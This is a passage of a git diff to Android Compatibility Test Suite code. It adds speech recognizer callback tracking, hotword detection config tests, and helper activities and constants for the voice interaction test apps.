+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voicerecognition.cts;
+
+enum RecognizerMethod {
+    RECOGNIZER_METHOD_UNSPECIFIED,
+    RECOGNIZER_METHOD_START_LISTENING,
+    RECOGNIZER_METHOD_STOP_LISTENING,
+    RECOGNIZER_METHOD_CANCEL,
+    RECOGNIZER_METHOD_DESTROY
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
index 66c8c9c..6736280 100644
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
@@ -17,11 +17,18 @@
 package android.voicerecognition.cts;
 
 import android.app.Activity;
+import android.content.ComponentName;
 import android.content.Intent;
 import android.os.Bundle;
 import android.os.Handler;
+import android.speech.RecognitionListener;
 import android.speech.RecognizerIntent;
 import android.speech.SpeechRecognizer;
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
 
 /**
  * An activity that uses SpeechRecognition APIs. SpeechRecognition will bind the RecognitionService
@@ -34,12 +41,18 @@
     private SpeechRecognizer mRecognizer;
     private Intent mRecognizerIntent;
     private Handler mHandler;
+    private SpeechRecognizerListener mListener;
+
+    final List<CallbackMethod> mCallbackMethodsInvoked = new ArrayList<>();
+
+    public boolean mStartListeningCalled;
+
+    public CountDownLatch mCountDownLatch;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.main);
-        init();
     }
 
     @Override
@@ -52,19 +65,95 @@
     }
 
     public void startListening() {
+        final Intent recognizerIntent =
+                new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
+        recognizerIntent.putExtra(
+                RecognizerIntent.EXTRA_CALLING_PACKAGE, this.getPackageName());
+        startListening(recognizerIntent);
+    }
+
+    public void startListening(Intent intent) {
+        mHandler.post(() -> mRecognizer.startListening(intent));
+    }
+
+    public void stopListening() {
+        mHandler.post(mRecognizer::stopListening);
+    }
+
+    public void cancel() {
+        mHandler.post(mRecognizer::cancel);
+    }
+
+    public void destroyRecognizer() {
+        mHandler.post(mRecognizer::destroy);
+    }
+
+    public void init(boolean onDevice, String customRecgonizerComponent) {
+        mHandler = new Handler(getMainLooper());
         mHandler.post(() -> {
-            if (mRecognizer != null) {
-                final Intent recognizerIntent =
-                        new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
-                recognizerIntent.putExtra(
-                        RecognizerIntent.EXTRA_CALLING_PACKAGE, this.getPackageName());
-                mRecognizer.startListening(recognizerIntent);
+            if (onDevice) {
+                mRecognizer = SpeechRecognizer.createOnDeviceSpeechRecognizer(this);
+            } else if (customRecgonizerComponent != null) {
+                mRecognizer = SpeechRecognizer.createSpeechRecognizer(this,
+                        ComponentName.unflattenFromString(customRecgonizerComponent));
+            } else {
+                mRecognizer = SpeechRecognizer.createSpeechRecognizer(this);
             }
+
+            mListener = new SpeechRecognizerListener();
+            mRecognizer.setRecognitionListener(mListener);
+            mRecognizer.setRecognitionListener(mListener);
+            mStartListeningCalled = false;
+            mCountDownLatch = new CountDownLatch(1);
         });
     }
 
-    private void init() {
-        mHandler = new Handler(getMainLooper());
-        mRecognizer = SpeechRecognizer.createSpeechRecognizer(this);
+    private class SpeechRecognizerListener implements RecognitionListener {
+
+        @Override
+        public void onReadyForSpeech(Bundle params) {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_READY_FOR_SPEECH);
+        }
+
+        @Override
+        public void onBeginningOfSpeech() {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_BEGINNING_OF_SPEECH);
+        }
+
+        @Override
+        public void onRmsChanged(float rmsdB) {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_RMS_CHANGED);
+        }
+
+        @Override
+        public void onBufferReceived(byte[] buffer) {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_BUFFER_RECEIVED);
+        }
+
+        @Override
+        public void onEndOfSpeech() {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_END_OF_SPEECH);
+        }
+
+        @Override
+        public void onError(int error) {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_ERROR);
+        }
+
+        @Override
+        public void onResults(Bundle results) {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_RESULTS);
+            mStartListeningCalled = true;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onPartialResults(Bundle partialResults) {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_PARTIAL_RESULTS);
+        }
+
+        @Override
+        public void onEvent(int eventType, Bundle params) {
+        }
     }
 }
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/TestObjects.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/TestObjects.java
new file mode 100644
index 0000000..b507f21
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/TestObjects.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voicerecognition.cts;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.speech.RecognizerIntent;
+
+class TestObjects {
+    public static final int ERROR_CODE = 42;
+    public static final float RMS_CHANGED_VALUE = 13.13f;
+
+    public static final Bundle RESULTS_BUNDLE = new Bundle();
+    static {
+        RESULTS_BUNDLE.putChar("a", 'a');
+    }
+    public static final Bundle PARTIAL_RESULTS_BUNDLE = new Bundle();
+    static {
+        PARTIAL_RESULTS_BUNDLE.putChar("b", 'b');
+    }
+    public static final Bundle READY_FOR_SPEECH_BUNDLE = new Bundle();
+    static {
+        READY_FOR_SPEECH_BUNDLE.putChar("c", 'c');
+    }
+    public static final Intent START_LISTENING_INTENT =
+            new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
+    static {
+        START_LISTENING_INTENT.putExtra("d", 'd');
+    }
+}
diff --git a/tests/tests/voiceinteraction/Android.bp b/tests/tests/voiceinteraction/Android.bp
index 0f4a568..c44c539 100644
--- a/tests/tests/voiceinteraction/Android.bp
+++ b/tests/tests/voiceinteraction/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsVoiceInteractionTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/voiceinteraction/AndroidManifest.xml b/tests/tests/voiceinteraction/AndroidManifest.xml
index 393d7a8..77b20cb 100644
--- a/tests/tests/voiceinteraction/AndroidManifest.xml
+++ b/tests/tests/voiceinteraction/AndroidManifest.xml
@@ -16,37 +16,42 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.voiceinteraction.cts">
+     package="android.voiceinteraction.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION"/>
 
     <application>
-      <uses-library android:name="android.test.runner" />
+      <uses-library android:name="android.test.runner"/>
 
       <activity android:name="TestStartActivity"
-                android:label="Voice Interaction Target">
+           android:label="Voice Interaction Target"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.intent.action.TEST_START_ACTIVITY" />
-              <category android:name="android.intent.category.LAUNCHER" />
-              <category android:name="android.intent.category.DEFAULT" />
+              <action android:name="android.intent.action.TEST_START_ACTIVITY"/>
+              <category android:name="android.intent.category.LAUNCHER"/>
+              <category android:name="android.intent.category.DEFAULT"/>
           </intent-filter>
       </activity>
       <activity android:name="TestLocalInteractionActivity"
-                android:label="Local Interaction Activity">
+           android:label="Local Interaction Activity"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.intent.action.TEST_LOCAL_INTERACTION_ACTIVITY" />
+              <action android:name="android.intent.action.TEST_LOCAL_INTERACTION_ACTIVITY"/>
           </intent-filter>
       </activity>
+        <activity android:name="TestVoiceInteractionServiceActivity"
+            android:label="Voice Interaction Service Activity"
+            android:exported="true">
+        </activity>
       <receiver android:name="VoiceInteractionTestReceiver"
-              android:exported="true" />
+           android:exported="true"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.voiceinteraction.cts"
-                     android:label="CTS tests of android.voiceinteraction">
+         android:targetPackage="android.voiceinteraction.cts"
+         android:label="CTS tests of android.voiceinteraction">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/voiceinteraction/common/Android.bp b/tests/tests/voiceinteraction/common/Android.bp
index e9052de..904dce6 100644
--- a/tests/tests/voiceinteraction/common/Android.bp
+++ b/tests/tests/voiceinteraction/common/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "CtsVoiceInteractionCommon",
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java b/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
index d949326..0b4cc3c 100644
--- a/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
+++ b/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
@@ -45,6 +45,16 @@
 
     public static final long OPERATION_TIMEOUT_MS = 5000;
 
+    /** Decide which VoiceInteractionService should be started for testing. */
+    public static final int HOTWORD_DETECTION_SERVICE_NONE = 0;
+    public static final int HOTWORD_DETECTION_SERVICE_INVALIDATION = 1;
+    public static final int HOTWORD_DETECTION_SERVICE_WITHOUT_ISOLATED_PROCESS = 2;
+    public static final int HOTWORD_DETECTION_SERVICE_WITHIN_ISOLATED_PROCESS = 3;
+
+    /** Indicate which test event for testing. */
+    public static final int VOICE_INTERACTION_SERVICE_NORMAL_TEST = 0;
+    public static final int HOTWORD_DETECTION_SERVICE_CONFIG_TEST = 1;
+
     public static final String TESTCASE_TYPE = "testcase_type";
     public static final String TESTINFO = "testinfo";
     public static final String BROADCAST_INTENT = "android.intent.action.VOICE_TESTAPP";
@@ -117,6 +127,12 @@
     public static final String SERVICE_NAME =
             "android.voiceinteraction.service/.MainInteractionService";
 
+    public static final String BROADCAST_CONFIG_RESULT_INTENT =
+            "android.intent.action.CONFIG_RESULT";
+    public static final String KEY_CONFIG_RESULT = "configResult";
+    public static final String KEY_SERVICE_TYPE = "serviceType";
+    public static final String KEY_TEST_EVENT = "testEvent";
+
     public static final String toBundleString(Bundle bundle) {
         if (bundle == null) {
             return "null_bundle";
diff --git a/tests/tests/voiceinteraction/service/Android.bp b/tests/tests/voiceinteraction/service/Android.bp
index 4aee259..587ed1a 100644
--- a/tests/tests/voiceinteraction/service/Android.bp
+++ b/tests/tests/voiceinteraction/service/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsVoiceInteractionService",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/voiceinteraction/service/AndroidManifest.xml b/tests/tests/voiceinteraction/service/AndroidManifest.xml
index b01653c..4cb5fde 100644
--- a/tests/tests/voiceinteraction/service/AndroidManifest.xml
+++ b/tests/tests/voiceinteraction/service/AndroidManifest.xml
@@ -65,6 +65,14 @@
           </intent-filter>
           <meta-data android:name="android.speech" android:resource="@xml/recognition_service" />
       </service>
+        <activity android:name=".CtsVoiceInteractionMainActivity"
+            android:exported="true"
+            android:visibleToInstantApps="true">
+            <intent-filter>
+                <action android:name="android.intent.action.START_TEST_VOICE_INTERACTION" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
     </application>
 </manifest>
 
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/CtsVoiceInteractionMainActivity.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/CtsVoiceInteractionMainActivity.java
new file mode 100644
index 0000000..01b1412
--- /dev/null
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/CtsVoiceInteractionMainActivity.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.service;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+import android.voiceinteraction.common.Utils;
+
+public class CtsVoiceInteractionMainActivity extends Activity {
+    static final String TAG = "CtsVoiceInteractionMainActivity";
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        Intent intent = getIntent();
+        int serviceType = intent.getIntExtra(Utils.KEY_SERVICE_TYPE, -1);
+        Intent serviceIntent = new Intent();
+        if (serviceType == Utils.HOTWORD_DETECTION_SERVICE_NONE) {
+            serviceIntent.setComponent(new ComponentName(this, MainInteractionService.class));
+        } else {
+            Log.w(TAG, "Never here");
+            finish();
+            return;
+        }
+        serviceIntent.putExtra(Utils.KEY_TEST_EVENT, intent.getIntExtra(Utils.KEY_TEST_EVENT, -1));
+        ComponentName serviceName = startService(serviceIntent);
+        Log.i(TAG, "Started service: " + serviceName);
+        finish();
+    }
+}
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/DirectActionsSession.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/DirectActionsSession.java
index d20ad80..f19e357 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/DirectActionsSession.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/DirectActionsSession.java
@@ -23,6 +23,7 @@
 import android.os.CancellationSignal;
 import android.os.RemoteCallback;
 import android.service.voice.VoiceInteractionSession;
+import android.util.Log;
 import android.voiceinteraction.common.Utils;
 
 import androidx.annotation.NonNull;
@@ -30,7 +31,6 @@
 
 import java.util.ArrayList;
 import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.ReentrantLock;
 import java.util.function.Consumer;
@@ -39,27 +39,33 @@
  * Sessions for testing direct action related functionality
  */
 public class DirectActionsSession extends VoiceInteractionSession {
+    private static final String TAG = DirectActionsSession.class.getSimpleName();
+
     private final ReentrantLock mLock = new ReentrantLock();
     private final Condition mCondition = mLock.newCondition();
 
     // GuardedBy("mLock")
-    private @Nullable ActivityId mActivityId;
+    private @Nullable
+    ActivityId mActivityId;
 
     // GuardedBy("mLock")
     private boolean mActionsInvalidated;
 
-    private static final int OPERATION_TIMEOUT_MS = 5000;
-
     public DirectActionsSession(@NonNull Context context) {
         super(context);
     }
 
     @Override
     public void onShow(Bundle args, int showFlags) {
+        if (args == null) {
+            Log.e("TODO", "onshow() received null args");
+            return;
+        }
         final RemoteCallback callback = args.getParcelable(Utils.DIRECT_ACTIONS_KEY_CALLBACK);
 
         final RemoteCallback control = new RemoteCallback((cmdArgs) -> {
             final String command = cmdArgs.getString(Utils.DIRECT_ACTIONS_KEY_COMMAND);
+            Log.v(TAG, "on remote callback: command=" + command);
             final RemoteCallback commandCallback = cmdArgs.getParcelable(
                     Utils.DIRECT_ACTIONS_KEY_CALLBACK);
             switch (command) {
@@ -148,6 +154,7 @@
         Utils.await(latch);
 
         outResult.putParcelableArrayList(Utils.DIRECT_ACTIONS_KEY_RESULT, actions);
+        Log.v(TAG, "getDirectActions(): " + Utils.toBundleString(outResult));
     }
 
     private void performDirectAction(@NonNull Bundle args, @NonNull Bundle outResult) {
@@ -163,6 +170,7 @@
         Utils.await(latch);
 
         outResult.putBundle(Utils.DIRECT_ACTIONS_KEY_RESULT, result);
+        Log.v(TAG, "performDirectAction(): " + Utils.toBundleString(outResult));
     }
 
     private void performDirectActionAndCancel(@NonNull Bundle args, @NonNull Bundle outResult) {
@@ -194,6 +202,7 @@
         Utils.await(cancelLatch);
 
         outResult.putBundle(Utils.DIRECT_ACTIONS_KEY_RESULT, result);
+        Log.v(TAG, "performDirectActionAndCancel(): " + Utils.toBundleString(outResult));
     }
 
     private void detectDirectActionsInvalidated(@NonNull Bundle outResult) {
@@ -203,6 +212,7 @@
                 Utils.await(mCondition);
             }
             outResult.putBoolean(Utils.DIRECT_ACTIONS_KEY_RESULT, mActionsInvalidated);
+            Log.v(TAG, "detectDirectActionsInvalidated(): " + Utils.toBundleString(outResult));
             mActionsInvalidated = false;
         } finally {
             mLock.unlock();
@@ -212,5 +222,6 @@
     private void performHide(@NonNull Bundle outResult) {
         finish();
         outResult.putBoolean(Utils.DIRECT_ACTIONS_KEY_RESULT, true);
+        Log.v(TAG, "performHide(): " + Utils.toBundleString(outResult));
     }
 }
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionService.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionService.java
index ccd20e5..63eb6df 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionService.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionService.java
@@ -43,40 +43,47 @@
     public int onStartCommand(Intent intent, int flags, int startId) {
         Log.i(TAG, "onStartCommand received");
         mIntent = intent;
-        maybeStart();
+
+        if (mIntent == null || !mReady) {
+            Log.wtf(TAG, "Can't start because either intent is null or onReady() "
+                    + "is not called yet. mIntent = " + mIntent + ", mReady = " + mReady);
+            return START_NOT_STICKY;
+        }
+
+        final int testEvent = mIntent.getIntExtra(Utils.KEY_TEST_EVENT, -1);
+        if (testEvent == Utils.VOICE_INTERACTION_SERVICE_NORMAL_TEST) {
+            maybeStart();
+        } else if (testEvent == Utils.HOTWORD_DETECTION_SERVICE_CONFIG_TEST) {
+            callSetHotwordDetectionConfig();
+        }
         return START_NOT_STICKY;
     }
 
     private void maybeStart() {
-        if (mIntent == null || !mReady) {
-            Log.wtf(TAG, "Can't start session because either intent is null or onReady() "
-                    + "is not called yet. mIntent = " + mIntent + ", mReady = " + mReady);
-        } else {
-            Bundle args = mIntent.getExtras();
-            final String className = (args != null)
-                    ? args.getString(Utils.DIRECT_ACTIONS_KEY_CLASS) : null;
-            if (className == null) {
-                Log.i(TAG, "Yay! about to start session with TestApp");
-                if (isActiveService(this, new ComponentName(this, getClass()))) {
-                    // Call to verify onGetSupportedVoiceActions is available.
-                    onGetSupportedVoiceActions(Collections.emptySet());
-                    args = new Bundle();
-                    Intent intent = new Intent()
-                            .setAction(Intent.ACTION_VIEW)
-                            .addCategory(Intent.CATEGORY_VOICE)
-                            .addCategory(Intent.CATEGORY_BROWSABLE)
-                            .setData(Uri.parse("https://android.voiceinteraction.testapp"
-                                    + "/TestApp"));
-                    args.putParcelable("intent", intent);
-                    Log.v(TAG, "showSession(): " + args);
-                    showSession(args, 0);
-                } else {
-                    Log.wtf(TAG, "**** Not starting MainInteractionService because" +
-                            " it is not set as the current voice interaction service");
-                }
+        Bundle args = mIntent.getExtras();
+        final String className = (args != null)
+                ? args.getString(Utils.DIRECT_ACTIONS_KEY_CLASS) : null;
+        if (className == null) {
+            Log.i(TAG, "Yay! about to start session with TestApp");
+            if (isActiveService(this, new ComponentName(this, getClass()))) {
+                // Call to verify onGetSupportedVoiceActions is available.
+                onGetSupportedVoiceActions(Collections.emptySet());
+                args = new Bundle();
+                Intent intent = new Intent()
+                        .setAction(Intent.ACTION_VIEW)
+                        .addCategory(Intent.CATEGORY_VOICE)
+                        .addCategory(Intent.CATEGORY_BROWSABLE)
+                        .setData(Uri.parse("https://android.voiceinteraction.testapp"
+                                + "/TestApp"));
+                args.putParcelable("intent", intent);
+                Log.v(TAG, "showSession(): " + args);
+                showSession(args, 0);
             } else {
-                showSession(args, VoiceInteractionSession.SHOW_WITH_ASSIST);
+                Log.wtf(TAG, "**** Not starting MainInteractionService because" +
+                        " it is not set as the current voice interaction service");
             }
+        } else {
+            showSession(args, VoiceInteractionSession.SHOW_WITH_ASSIST);
         }
     }
 
@@ -85,4 +92,18 @@
         Log.v(TAG, "onGetSupportedVoiceActions " + voiceActions);
         return super.onGetSupportedVoiceActions(voiceActions);
     }
+
+    private void callSetHotwordDetectionConfig() {
+        Log.i(TAG, "callSetHotwordDetectionConfig()");
+        int configResult = setHotwordDetectionConfig(new Bundle());
+        broadcastConfigResult(configResult);
+    }
+
+    private void broadcastConfigResult(int result) {
+        Intent intent = new Intent(Utils.BROADCAST_CONFIG_RESULT_INTENT)
+                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND | Intent.FLAG_RECEIVER_REGISTERED_ONLY)
+                .putExtra(Utils.KEY_CONFIG_RESULT, result);
+        Log.i(TAG, "broadcast intent = " + intent + ", config result = " + result);
+        sendBroadcast(intent);
+    }
 }
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java
index e53a93f..1ac387d 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java
@@ -64,7 +64,10 @@
 
     @Override
     public void onShow(Bundle args, int showFlags) {
-        super.onShow(args, showFlags);
+        if (args == null) {
+            Log.e(TAG, "onshow() received null args");
+            return;
+        }
         mStartIntent = args.getParcelable("intent");
         if (mStartIntent != null) {
             startVoiceActivity(mStartIntent);
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/VoiceInteractionMain.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/VoiceInteractionMain.java
index 303c0a1..37bb775 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/VoiceInteractionMain.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/VoiceInteractionMain.java
@@ -21,6 +21,7 @@
 import android.content.Intent;
 import android.os.Bundle;
 import android.util.Log;
+import android.voiceinteraction.common.Utils;
 
 public class VoiceInteractionMain extends Activity {
     static final String TAG = "VoiceInteractionMain";
@@ -30,6 +31,7 @@
         super.onCreate(savedInstanceState);
         Intent intent = new Intent();
         intent.setComponent(new ComponentName(this, MainInteractionService.class));
+        intent.putExtra(Utils.KEY_TEST_EVENT, Utils.VOICE_INTERACTION_SERVICE_NORMAL_TEST);
         final Bundle intentExtras = getIntent().getExtras();
         if (intentExtras != null) {
             intent.putExtras(intentExtras);
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
index 6c4a3a7..fc883fd 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
@@ -28,6 +28,9 @@
 import android.util.Log;
 import android.voiceinteraction.common.Utils;
 
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
 import com.android.compatibility.common.util.ThrowingRunnable;
 
 import org.junit.Test;
@@ -38,9 +41,6 @@
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
 
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
 /**
  * Tests for the direction action related functions.
  */
@@ -313,9 +313,8 @@
             if (postActionCommand != null) {
                 try {
                     postActionCommand.run();
-                } catch (TimeoutException e) {
-                    Log.e(TAG, "action '" + action + "' timed out" );
                 } catch (Exception e) {
+                    Log.e(TAG, "action '" + action + "' failed");
                     throw e;
                 }
             }
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceTest.java
new file mode 100644
index 0000000..0d1533a
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Intent;
+import android.platform.test.annotations.AppModeFull;
+import android.service.voice.VoiceInteractionService;
+import android.voiceinteraction.common.Utils;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "No real use case for instant mode hotword detection service")
+public final class HotwordDetectionServiceTest extends AbstractVoiceInteractionTestCase {
+    static final String TAG = "HotwordDetectionServiceTest";
+
+    private static final int TIMEOUT_MS = 10 * 1000;
+
+    private TestVoiceInteractionServiceActivity mTestActivity;
+
+    @Rule
+    public final ActivityTestRule<TestVoiceInteractionServiceActivity> mActivityTestRule =
+            new ActivityTestRule<>(TestVoiceInteractionServiceActivity.class);
+
+    @Before
+    public void setup() throws Exception {
+        mTestActivity = mActivityTestRule.getActivity();
+    }
+
+    @Test
+    public void testSetHotwordDetectionConfig_noHotwordDetectionComponentName_returnFailure()
+            throws Throwable {
+        final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(mContext,
+                Utils.BROADCAST_CONFIG_RESULT_INTENT);
+        receiver.register();
+
+        mTestActivity.hotwordDetectionConfigTest(Utils.HOTWORD_DETECTION_SERVICE_NONE);
+
+        final Intent intent = receiver.awaitForBroadcast(TIMEOUT_MS);
+        assertThat(intent).isNotNull();
+        assertThat(intent.getIntExtra(Utils.KEY_CONFIG_RESULT, -1)).isEqualTo(
+                VoiceInteractionService.HOTWORD_CONFIG_FAILURE);
+
+        receiver.unregisterQuietly();
+    }
+}
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/TestVoiceInteractionServiceActivity.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/TestVoiceInteractionServiceActivity.java
new file mode 100644
index 0000000..d159e9f
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/TestVoiceInteractionServiceActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.util.Log;
+import android.voiceinteraction.common.Utils;
+
+public class TestVoiceInteractionServiceActivity extends Activity {
+    static final String TAG = "TestVoiceInteractionServiceActivity";
+
+    public void hotwordDetectionConfigTest(int serviceType) {
+        Intent intent = new Intent();
+        intent.setAction("android.intent.action.START_TEST_VOICE_INTERACTION");
+        intent.setComponent(new ComponentName("android.voiceinteraction.service",
+                "android.voiceinteraction.service.CtsVoiceInteractionMainActivity"));
+        intent.putExtra(Utils.KEY_SERVICE_TYPE, serviceType);
+        intent.putExtra(Utils.KEY_TEST_EVENT, Utils.HOTWORD_DETECTION_SERVICE_CONFIG_TEST);
+        Log.i(TAG, "onCreate: " + intent);
+        startActivity(intent);
+    }
+}
diff --git a/tests/tests/voiceinteraction/testapp/Android.bp b/tests/tests/voiceinteraction/testapp/Android.bp
index 65db5fb..a01e43f 100644
--- a/tests/tests/voiceinteraction/testapp/Android.bp
